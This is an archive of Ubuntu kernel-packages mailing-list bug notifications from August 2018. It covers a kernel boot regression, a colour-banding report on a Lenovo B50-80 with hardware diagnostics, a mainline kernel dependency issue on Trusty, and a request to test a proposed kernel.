  [c00ff1deb9d0] [c085d194] 
device_release_driver_internal+0x224/0x310
  [c00ff1deba20] [c075b398] pci_stop_bus_device+0x98/0xe0
  [c00ff1deba60] [c075b588] pci_stop_and_remove_bus_device+0x28/0x40
  [c00ff1deba90] [c005e1d0] pci_hp_remove_devices+0x90/0x130
  [c00ff1debb20] [c005e184] pci_hp_remove_devices+0x44/0x130
  [c00ff1debbb0] [c003ec04] eeh_handle_normal_event+0x134/0x580
  [c00ff1debc60] [c003f160] eeh_handle_event+0x30/0x338
  [c00ff1debd10] [c003f830] eeh_event_handler+0x140/0x200
  [c00ff1debdc0] [c0138d88] kthread+0x1a8/0x1b0
  [c00ff1debe30] [c000b528] 

[Kernel-packages] [Bug 1787807] Re: boot oops/4.15.0-32 regression

2018-08-21 Thread Dave Gilbert
-33 from proposed does boot.
However, while installing that I noticed that the dpkg status on my -32 was 
listed as iF (probably from a previous full disk?)
When it installed -33 it regenerated the initramfs for -32 as well and -32 now 
works.

Marked invalid.


** Changed in: linux (Ubuntu)
   Status: Incomplete => Invalid

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787807

Title:
  boot oops/4.15.0-32 regression

Status in linux package in Ubuntu:
  Invalid

Bug description:
  4.15.0-32 is failing to boot on this core2 laptop, 4.15.0-30 (and
  earlier) is fine.

  (I'll attach the screenshot of the panic in a second)

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-30-generic 4.15.0-30.32
  ProcVersionSignature: Ubuntu 4.15.0-30.32-generic 4.15.18
  Uname: Linux 4.15.0-30-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  dg 1504 F pulseaudio
  CurrentDesktop: XFCE
  Date: Sun Aug 19 13:07:20 2018
  HibernationDevice: RESUME=/dev/mapper/davros--vg-swap_1
  InstallationDate: Installed on 2015-12-25 (967 days ago)
  InstallationMedia: Ubuntu-Server 15.10 "Wily Werewolf" - Release amd64 
(20151021)
  Lsusb:
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
   Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
   Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
   Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
   Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
  MachineType: TOSHIBA Equium A100
  PccardctlIdent:
   Socket 0:
 no product info available
  PccardctlStatus:
   Socket 0:
 no card
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-30-generic 
root=/dev/mapper/hostname--vg-root ro
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-30-generic N/A
   linux-backports-modules-4.15.0-30-generic  N/A
   linux-firmware 1.173.1
  RfKill:
   0: phy0: Wireless LAN
Soft blocked: no
Hard blocked: yes
  SourcePackage: linux
  UpgradeStatus: Upgraded to bionic on 2018-03-30 (141 days ago)
  WifiSyslog:
   
  dmi.bios.date: 10/23/2006
  dmi.bios.vendor: Phoenix Technologies LTD
  dmi.bios.version: 2.10
  dmi.board.name: MPAD-MSAE Customer Reference Boards
  dmi.board.vendor: Intel Corporation
  dmi.board.version: Not Applicable
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 1
  dmi.chassis.vendor: No Enclosure
  dmi.chassis.version: N/A
  dmi.modalias: 
dmi:bvnPhoenixTechnologiesLTD:bvr2.10:bd10/23/2006:svnTOSHIBA:pnEquiumA100:pvrPSAABE-00J008EN:rvnIntelCorporation:rnMPAD-MSAECustomerReferenceBoards:rvrNotApplicable:cvnNoEnclosure:ct1:cvrN/A:
  dmi.product.name: Equium A100
  dmi.product.version: PSAABE-00J008EN
  dmi.sys.vendor: TOSHIBA

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787807/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788308] Status changed to Confirmed

2018-08-21 Thread Ubuntu Kernel Bot
This change was made by a bot.

** Changed in: linux (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788308

Title:
  [Regression] Colour banding appears on Lenovo B50-80 integrated
  display

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  The problem affects the integrated display on a Lenovo B50-80
  notebook.

  Colour banding is visible everywhere on the system, as dithering seems
  not to be enabled. This issue was not present on non-HWE Ubuntu 16.04,
  and it showed up after upgrading to Ubuntu 18.04. There was already a
  bug #1749420 that was resolved
  (https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1749420) with
  very similar symptoms, albeit the make and model of a LCD screen in
  that case was different. However, the source of this problem is
  probably the same, since I have checked that pre-4.8.0-rc2 kernels
  handled dithering correctly, and 4.8.0-rc2 and later kernels already
  had the bug described. Therefore, I believe that adding another quirk
  may fix the problem.

  I attached the results of running
  sudo get-edid | parse-edid in a file named edid.txt
  and
  sudo get-edid | edid-decode in a file named edid-decoded.txt.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  me 1245 F pulseaudio
   /dev/snd/controlC1:  me 1245 F pulseaudio
  Date: Wed Aug 22 00:26:15 2018
  HibernationDevice: RESUME=UUID=93b28df5-b453-452b-960d-7173994d778e
  InstallationDate: Installed on 2018-08-21 (0 days ago)
  InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 
(20180725)
  MachineType: LENOVO 80EW
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=a1cd5b8c-2707-4840-858b-3ca12517193b ro quiet splash vt.handoff=1
  PulseList:
   Error: command ['pacmd', 'list'] failed with exit code 1: Home directory not 
accessible: Permission denied
   No PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   linux-backports-modules-4.15.0-32-generic  N/A
   linux-firmware 1.173.1
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/02/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: A8CN54WW(V3.07)
  dmi.board.asset.tag: NO Asset Tag
  dmi.board.name: Lenovo B50-80
  dmi.board.vendor: LENOVO
  dmi.board.version: 31900058 WIN
  dmi.chassis.asset.tag: NO Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo B50-80
  dmi.modalias: 
dmi:bvnLENOVO:bvrA8CN54WW(V3.07):bd09/02/2016:svnLENOVO:pn80EW:pvrLenovoB50-80:rvnLENOVO:rnLenovoB50-80:rvr31900058WIN:cvnLENOVO:ct10:cvrLenovoB50-80:
  dmi.product.family: IDEAPAD
  dmi.product.name: 80EW
  dmi.product.version: Lenovo B50-80
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788308/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788308] Re: [Regression] Colour banding appears on Lenovo B50-80 integrated display

2018-08-21 Thread Wojciech
** Attachment added: "lspci-vnvn.log"
   
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788308/+attachment/5178919/+files/lspci-vnvn.log

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788308

Title:
  [Regression] Colour banding appears on Lenovo B50-80 integrated
  display

Status in linux package in Ubuntu:
  New

Bug description:
  The problem affects the integrated display on a Lenovo B50-80
  notebook.

  Colour banding is visible everywhere on the system, as dithering seems
  not to be enabled. This issue was not present on non-HWE Ubuntu 16.04,
  and it showed up after upgrading to Ubuntu 18.04. There was already a
  bug #1749420 that was resolved
  (https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1749420) with
  very similar symptoms, albeit the make and model of a LCD screen in
  that case was different. However, the source of this problem is
  probably the same, since I have checked that pre-4.8.0-rc2 kernels
  handled dithering correctly, and 4.8.0-rc2 and later kernels already
  had the bug described. Therefore, I believe that adding another quirk
  may fix the problem.

  I attached the results of running
  sudo get-edid | parse-edid in a file named edid.txt
  and
  sudo get-edid | edid-decode in a file named edid-decoded.txt.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  me 1245 F pulseaudio
   /dev/snd/controlC1:  me 1245 F pulseaudio
  Date: Wed Aug 22 00:26:15 2018
  HibernationDevice: RESUME=UUID=93b28df5-b453-452b-960d-7173994d778e
  InstallationDate: Installed on 2018-08-21 (0 days ago)
  InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 
(20180725)
  MachineType: LENOVO 80EW
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=a1cd5b8c-2707-4840-858b-3ca12517193b ro quiet splash vt.handoff=1
  PulseList:
   Error: command ['pacmd', 'list'] failed with exit code 1: Home directory not 
accessible: Permission denied
   No PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   linux-backports-modules-4.15.0-32-generic  N/A
   linux-firmware 1.173.1
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/02/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: A8CN54WW(V3.07)
  dmi.board.asset.tag: NO Asset Tag
  dmi.board.name: Lenovo B50-80
  dmi.board.vendor: LENOVO
  dmi.board.version: 31900058 WIN
  dmi.chassis.asset.tag: NO Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo B50-80
  dmi.modalias: 
dmi:bvnLENOVO:bvrA8CN54WW(V3.07):bd09/02/2016:svnLENOVO:pn80EW:pvrLenovoB50-80:rvnLENOVO:rnLenovoB50-80:rvr31900058WIN:cvnLENOVO:ct10:cvrLenovoB50-80:
  dmi.product.family: IDEAPAD
  dmi.product.name: 80EW
  dmi.product.version: Lenovo B50-80
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788308/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788308] Re: [Regression] Colour banding appears on Lenovo B50-80 integrated display

2018-08-21 Thread Wojciech
** Attachment added: "edid.txt"
   
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788308/+attachment/5178917/+files/edid.txt

** Attachment removed: "edid-decoded.txt"
   
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788308/+attachment/5178901/+files/edid-decoded.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788308

Title:
  [Regression] Colour banding appears on Lenovo B50-80 integrated
  display

Status in linux package in Ubuntu:
  New

Bug description:
  The problem affects the integrated display on a Lenovo B50-80
  notebook.

  Colour banding is visible everywhere on the system, as dithering seems
  not to be enabled. This issue was not present on non-HWE Ubuntu 16.04,
  and it showed up after upgrading to Ubuntu 18.04. There was already a
  bug #1749420 that was resolved
  (https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1749420) with
  very similar symptoms, albeit the make and model of a LCD screen in
  that case was different. However, the source of this problem is
  probably the same, since I have checked that pre-4.8.0-rc2 kernels
  handled dithering correctly, and 4.8.0-rc2 and later kernels already
  had the bug described. Therefore, I believe that adding another quirk
  may fix the problem.

  I attached the results of running
  sudo get-edid | parse-edid in a file named edid.txt
  and
  sudo get-edid | edid-decode in a file named edid-decoded.txt.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  me 1245 F pulseaudio
   /dev/snd/controlC1:  me 1245 F pulseaudio
  Date: Wed Aug 22 00:26:15 2018
  HibernationDevice: RESUME=UUID=93b28df5-b453-452b-960d-7173994d778e
  InstallationDate: Installed on 2018-08-21 (0 days ago)
  InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 
(20180725)
  MachineType: LENOVO 80EW
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=a1cd5b8c-2707-4840-858b-3ca12517193b ro quiet splash vt.handoff=1
  PulseList:
   Error: command ['pacmd', 'list'] failed with exit code 1: Home directory not 
accessible: Permission denied
   No PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   linux-backports-modules-4.15.0-32-generic  N/A
   linux-firmware 1.173.1
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/02/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: A8CN54WW(V3.07)
  dmi.board.asset.tag: NO Asset Tag
  dmi.board.name: Lenovo B50-80
  dmi.board.vendor: LENOVO
  dmi.board.version: 31900058 WIN
  dmi.chassis.asset.tag: NO Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo B50-80
  dmi.modalias: 
dmi:bvnLENOVO:bvrA8CN54WW(V3.07):bd09/02/2016:svnLENOVO:pn80EW:pvrLenovoB50-80:rvnLENOVO:rnLenovoB50-80:rvr31900058WIN:cvnLENOVO:ct10:cvrLenovoB50-80:
  dmi.product.family: IDEAPAD
  dmi.product.name: 80EW
  dmi.product.version: Lenovo B50-80
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788308/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788308] Re: [Regression] Colour banding appears on Lenovo B50-80 integrated display

2018-08-21 Thread Wojciech
** Attachment added: "edid-decoded.txt"
   
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788308/+attachment/5178918/+files/edid-decoded.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788308

Title:
  [Regression] Colour banding appears on Lenovo B50-80 integrated
  display

Status in linux package in Ubuntu:
  New

Bug description:
  The problem affects the integrated display on a Lenovo B50-80
  notebook.

  Colour banding is visible everywhere on the system, as dithering seems
  not to be enabled. This issue was not present on non-HWE Ubuntu 16.04,
  and it showed up after upgrading to Ubuntu 18.04. There was already a
  bug #1749420 that was resolved
  (https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1749420) with
  very similar symptoms, albeit the make and model of a LCD screen in
  that case was different. However, the source of this problem is
  probably the same, since I have checked that pre-4.8.0-rc2 kernels
  handled dithering correctly, and 4.8.0-rc2 and later kernels already
  had the bug described. Therefore, I believe that adding another quirk
  may fix the problem.

  I attached the results of running
  sudo get-edid | parse-edid in a file named edid.txt
  and
  sudo get-edid | edid-decode in a file named edid-decoded.txt.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  me 1245 F pulseaudio
   /dev/snd/controlC1:  me 1245 F pulseaudio
  Date: Wed Aug 22 00:26:15 2018
  HibernationDevice: RESUME=UUID=93b28df5-b453-452b-960d-7173994d778e
  InstallationDate: Installed on 2018-08-21 (0 days ago)
  InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 
(20180725)
  MachineType: LENOVO 80EW
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=a1cd5b8c-2707-4840-858b-3ca12517193b ro quiet splash vt.handoff=1
  PulseList:
   Error: command ['pacmd', 'list'] failed with exit code 1: Home directory not 
accessible: Permission denied
   No PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   linux-backports-modules-4.15.0-32-generic  N/A
   linux-firmware 1.173.1
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/02/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: A8CN54WW(V3.07)
  dmi.board.asset.tag: NO Asset Tag
  dmi.board.name: Lenovo B50-80
  dmi.board.vendor: LENOVO
  dmi.board.version: 31900058 WIN
  dmi.chassis.asset.tag: NO Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo B50-80
  dmi.modalias: 
dmi:bvnLENOVO:bvrA8CN54WW(V3.07):bd09/02/2016:svnLENOVO:pn80EW:pvrLenovoB50-80:rvnLENOVO:rnLenovoB50-80:rvr31900058WIN:cvnLENOVO:ct10:cvrLenovoB50-80:
  dmi.product.family: IDEAPAD
  dmi.product.name: 80EW
  dmi.product.version: Lenovo B50-80
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788308/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788308] Re: [Regression] Colour banding appears on Lenovo B50-80 integrated display

2018-08-21 Thread Wojciech
** Attachment added: "version.log"
   
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788308/+attachment/5178920/+files/version.log

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788308

Title:
  [Regression] Colour banding appears on Lenovo B50-80 integrated
  display

Status in linux package in Ubuntu:
  New

Bug description:
  The problem affects the integrated display on a Lenovo B50-80
  notebook.

  Colour banding is visible everywhere on the system, as dithering seems
  not to be enabled. This issue was not present on non-HWE Ubuntu 16.04,
  and it showed up after upgrading to Ubuntu 18.04. There was already a
  bug #1749420 that was resolved
  (https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1749420) with
  very similar symptoms, albeit the make and model of a LCD screen in
  that case was different. However, the source of this problem is
  probably the same, since I have checked that pre-4.8.0-rc2 kernels
  handled dithering correctly, and 4.8.0-rc2 and later kernels already
  had the bug described. Therefore, I believe that adding another quirk
  may fix the problem.

  I attached the results of running
  sudo get-edid | parse-edid in a file named edid.txt
  and
  sudo get-edid | edid-decode in a file named edid-decoded.txt.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  me 1245 F pulseaudio
   /dev/snd/controlC1:  me 1245 F pulseaudio
  Date: Wed Aug 22 00:26:15 2018
  HibernationDevice: RESUME=UUID=93b28df5-b453-452b-960d-7173994d778e
  InstallationDate: Installed on 2018-08-21 (0 days ago)
  InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 
(20180725)
  MachineType: LENOVO 80EW
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=a1cd5b8c-2707-4840-858b-3ca12517193b ro quiet splash vt.handoff=1
  PulseList:
   Error: command ['pacmd', 'list'] failed with exit code 1: Home directory not 
accessible: Permission denied
   No PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions:
   linux-restricted-modules-4.15.0-32-generic N/A
   linux-backports-modules-4.15.0-32-generic  N/A
   linux-firmware 1.173.1
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/02/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: A8CN54WW(V3.07)
  dmi.board.asset.tag: NO Asset Tag
  dmi.board.name: Lenovo B50-80
  dmi.board.vendor: LENOVO
  dmi.board.version: 31900058 WIN
  dmi.chassis.asset.tag: NO Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo B50-80
  dmi.modalias: 
dmi:bvnLENOVO:bvrA8CN54WW(V3.07):bd09/02/2016:svnLENOVO:pn80EW:pvrLenovoB50-80:rvnLENOVO:rnLenovoB50-80:rvr31900058WIN:cvnLENOVO:ct10:cvrLenovoB50-80:
  dmi.product.family: IDEAPAD
  dmi.product.name: 80EW
  dmi.product.version: Lenovo B50-80
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788308/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1788308] [NEW] [Regression] Colour banding appears on Lenovo B50-80 integrated display

2018-08-21 Thread Wojciech
Public bug reported:

The problem affects the integrated display on a Lenovo B50-80 notebook.

Colour banding is visible everywhere on the system, as dithering seems
not to be enabled. This issue was not present on non-HWE Ubuntu 16.04,
and it showed up after upgrading to Ubuntu 18.04. There was already a
bug #1749420 that was resolved
(https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1749420) with very
similar symptoms, albeit the make and model of a LCD screen in that case
was different. However, the source of this problem is probably the same,
since I have checked that pre-4.8.0-rc2 kernels handled dithering
correctly, and 4.8.0-rc2 and later kernels already had the bug
described. Therefore, I believe that adding another quirk may fix the
problem.

I attached the results of running
sudo get-edid | parse-edid in a file named edid.txt
and
sudo get-edid | edid-decode in a file named edid-decoded.txt.

ProblemType: Bug
DistroRelease: Ubuntu 18.04
Package: linux-image-4.15.0-32-generic 4.15.0-32.35
ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
Uname: Linux 4.15.0-32-generic x86_64
ApportVersion: 2.20.9-0ubuntu7.2
Architecture: amd64
AudioDevicesInUse:
 USERPID ACCESS COMMAND
 /dev/snd/controlC0:  me 1245 F pulseaudio
 /dev/snd/controlC1:  me 1245 F pulseaudio
Date: Wed Aug 22 00:26:15 2018
HibernationDevice: RESUME=UUID=93b28df5-b453-452b-960d-7173994d778e
InstallationDate: Installed on 2018-08-21 (0 days ago)
InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725)
MachineType: LENOVO 80EW
ProcFB: 0 inteldrmfb
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-32-generic 
root=UUID=a1cd5b8c-2707-4840-858b-3ca12517193b ro quiet splash vt.handoff=1
PulseList:
 Error: command ['pacmd', 'list'] failed with exit code 1: Home directory not 
accessible: Permission denied
 No PulseAudio daemon running, or not running as session daemon.
RelatedPackageVersions:
 linux-restricted-modules-4.15.0-32-generic N/A
 linux-backports-modules-4.15.0-32-generic  N/A
 linux-firmware 1.173.1
SourcePackage: linux
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 09/02/2016
dmi.bios.vendor: LENOVO
dmi.bios.version: A8CN54WW(V3.07)
dmi.board.asset.tag: NO Asset Tag
dmi.board.name: Lenovo B50-80
dmi.board.vendor: LENOVO
dmi.board.version: 31900058 WIN
dmi.chassis.asset.tag: NO Asset Tag
dmi.chassis.type: 10
dmi.chassis.vendor: LENOVO
dmi.chassis.version: Lenovo B50-80
dmi.modalias: 
dmi:bvnLENOVO:bvrA8CN54WW(V3.07):bd09/02/2016:svnLENOVO:pn80EW:pvrLenovoB50-80:rvnLENOVO:rnLenovoB50-80:rvr31900058WIN:cvnLENOVO:ct10:cvrLenovoB50-80:
dmi.product.family: IDEAPAD
dmi.product.name: 80EW
dmi.product.version: Lenovo B50-80
dmi.sys.vendor: LENOVO

** Affects: linux (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug bionic visual-quality

** Attachment added: "edid-decoded.txt"
   
https://bugs.launchpad.net/bugs/1788308/+attachment/5178901/+files/edid-decoded.txt

** Attachment removed: "WifiSyslog.txt"
   
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788308/+attachment/5178916/+files/WifiSyslog.txt

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1788308

Title:
  [Regression] Colour banding appears on Lenovo B50-80 integrated
  display

Status in linux package in Ubuntu:
  New

Bug description:
  The problem affects the integrated display on a Lenovo B50-80
  notebook.

  Colour banding is visible everywhere on the system, as dithering seems
  not to be enabled. This issue was not present on non-HWE Ubuntu 16.04,
  and it showed up after upgrading to Ubuntu 18.04. There was already a
  bug #1749420 that was resolved
  (https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1749420) with
  very similar symptoms, albeit the make and model of a LCD screen in
  that case was different. However, the source of this problem is
  probably the same, since I have checked that pre-4.8.0-rc2 kernels
  handled dithering correctly, and 4.8.0-rc2 and later kernels already
  had the bug described. Therefore, I believe that adding another quirk
  may fix the problem.

  I attached the results of running
  sudo get-edid | parse-edid in a file named edid.txt
  and
  sudo get-edid | edid-decode in a file named edid-decoded.txt.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: linux-image-4.15.0-32-generic 4.15.0-32.35
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.2
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  me 1245 F pulseaudio
   /dev/snd/controlC1:  me 1245 F pulseaudio
  Date: Wed Aug 22 00:26:15 2018
  HibernationDevice: RESUME=UUID=93b28df5-b453-452b-960d-7173994d778e
  InstallationDate: Installed on 

[Kernel-packages] [Bug 1787722] Re: Mainline kernel dependency fails on Trusty LTS

2018-08-21 Thread Dirk F
If you need further logs to understand the issue, you haven't read the
text of the report.

** Changed in: linux (Ubuntu)
   Status: Incomplete => Confirmed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787722

Title:
  Mainline kernel dependency fails on Trusty LTS

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Trying to test mainline kernel 4.17.16 (eg) on 14.04 LTS, but:

   linux-image-4.17.16-041716-generic depends on linux-base (>=
  4.5ubuntu1~16.04.1)

  14.04 is still in support for some months and the matching linux-
  base-4.5ubuntu1~14.04.1 was provided in resolution of bug 1766728.

  The dependency specification used to create linux-image-*.deb at
  http://kernel.ubuntu.com/~kernel-ppa/mainline/ should be modified to
  ensure that the newest kernels can be tested against all supported LTS
  versions.

  Platform details:
  $ uname -a
  Linux Spirion 4.4.0-133-generic #159~14.04.1-Ubuntu SMP Fri Aug 10 08:17:42 
UTC 2018 i686 athlon i686 GNU/Linux

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787722/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787489] Re: Vega graphics (2400g) in 4.15 kernel

2018-08-21 Thread Joseph Salisbury
Would it be possible for you to test the proposed kernel and post back if it 
resolves this bug?
See https://wiki.ubuntu.com/Testing/EnableProposed for documentation how to 
enable and use -proposed. 

Thank you in advance!

** Changed in: linux (Ubuntu)
   Importance: Undecided => Medium

** Tags added: bionic kernel-da-key

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
